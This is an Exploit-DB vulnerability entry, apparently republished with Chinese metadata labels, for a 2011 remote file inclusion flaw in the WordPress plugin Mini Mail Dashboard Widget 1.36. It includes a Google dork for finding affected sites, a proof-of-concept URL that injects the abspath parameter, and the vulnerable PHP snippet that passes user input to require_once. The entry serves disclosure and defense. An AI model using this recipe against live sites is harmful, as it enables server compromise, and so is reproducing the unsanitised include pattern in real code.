WordPress Plugin Mini Mail Dashboard Widget 1.36 – Remote File Inclusion

  • 作者: Ben Schmidt
    日期: 2011-09-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17868/
  • # Exploit Title: Mini Mail Dashboard Widget WordPress plugin RFI
    # Google Dork: inurl:wp-content/plugins/mini-mail-dashboard-widget
    # Date: 09/19/2011
    # Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
    # Software Link: http://wordpress.org/extend/plugins/mini-mail-dashboard-widget/download/
    # Version: 1.36 (tested)
    
    ---
    PoC
    ---
    http://SERVER/WP_PATH/wp-content/plugins/mini-mail-dashboard-widgetwp-mini-mail.php?abspath=RFI (requires POSTing a file with ID wpmm-upload for this to work)
    
    ---
    Vulnerable Code
    ---
    if (isset($_FILES['wpmm-upload'])) {
    	// Create WordPress environmnt
    	require_once(urldecode($_REQUEST['abspath']) . 'wp-load.php');
    
    	// Handle attachment
    	WPMiniMail::wpmm_upload();
    }